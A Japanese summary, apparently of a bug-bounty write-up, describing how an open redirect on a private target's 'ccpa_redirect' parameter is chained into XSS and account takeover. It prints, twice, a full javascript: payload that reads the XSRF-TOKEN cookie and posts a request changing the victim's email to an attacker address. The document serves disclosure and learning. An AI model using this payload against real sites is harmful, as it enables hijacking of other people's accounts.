Hello there, ('ω')ノ
XSS を使用したアカウント乗っ取りへのオープン リダイレクトの連鎖を。
脆弱性:
XSS
アカウント乗っ取り
オープンリダイレクト
記事:
https://rdnzx.medium.com/chaining-open-redirect-with-xss-to-account-takeover-36acf218a6d5
今回は、XSS をアカウント乗っ取りにエスカレーションする方法を。
ターゲットはプライベートなので、target.com として呼び。
オープンリダイレクト
target のテストを開始し、アカウントを登録し。
登録中に、ownsubdomain.target.com のような組織用の独自の
サブドメインを作成でき。
次に、ダッシュボードにログインし。
その後すぐに、次のような URL エンドポイントを見つけて。
https://ownsubdomain.target.com/overview/?ccpa_redirect=
URLエンドポイント
次に、この https://ownsubdomain.target.com/overview/?ccpa_redirect=https://evil.com
のようにリダイレクトを開こうとしましたが、成功し。
evil.com ページにリダイレクトされ。
次に、この XSS ペイロード javascript:alert(1); を使用して。
ブラウザで開くと、XSS がポップアップ表示され。
XSS をアカウント乗っ取りに連鎖
その後、この XSS をより深刻な影響にアップグレードすることを考えて。
すぐに、次のようなメールアドレスを変更できるフォームを見つけ。
フォーム変更メール
しかし、CSRF-TOKEN による保護はあり。
そのとき、XSS を連鎖させて深刻な影響を与えることについての
記事を読んだことを思い出し。
そこで、電子メールを変更するためのペイロードを作成し、
XSS 脆弱性による CSRF-TOKEN 保護をバイパスして。
ペイロードは次のようになり。
javascript:var%20http=new%20XMLHttpRequest();%20http.open(%27POST%27,%27https://ownsubdomain.target.com/api/3/settings/account%27,%20true);var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];http.setRequestHeader(%27X-Xsrf-Token%27,csrf);http.withCredentials=true;http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);alert('email%20changed');
したがって、この URL にアクセスしたとき
https://ownsubdomain.target.com/overview/?ccpa_redirect=javascript:var%20http=new%20XMLHttpRequest();%20http.open(%27POST%27,%27https://subdomain.target.com/api/3/settings/account%27,%20true);var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];http.setRequestHeader(%27X-Xsrf-Token%27,csrf);http.withCredentials=true;http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);alert('email%20changed');
ブラウザではアラートがポップアップ表示され、電子メールが変更されて。
アラートがポップアップ表示
メールアドレスが正常に変更
Best regards, (^^ゞ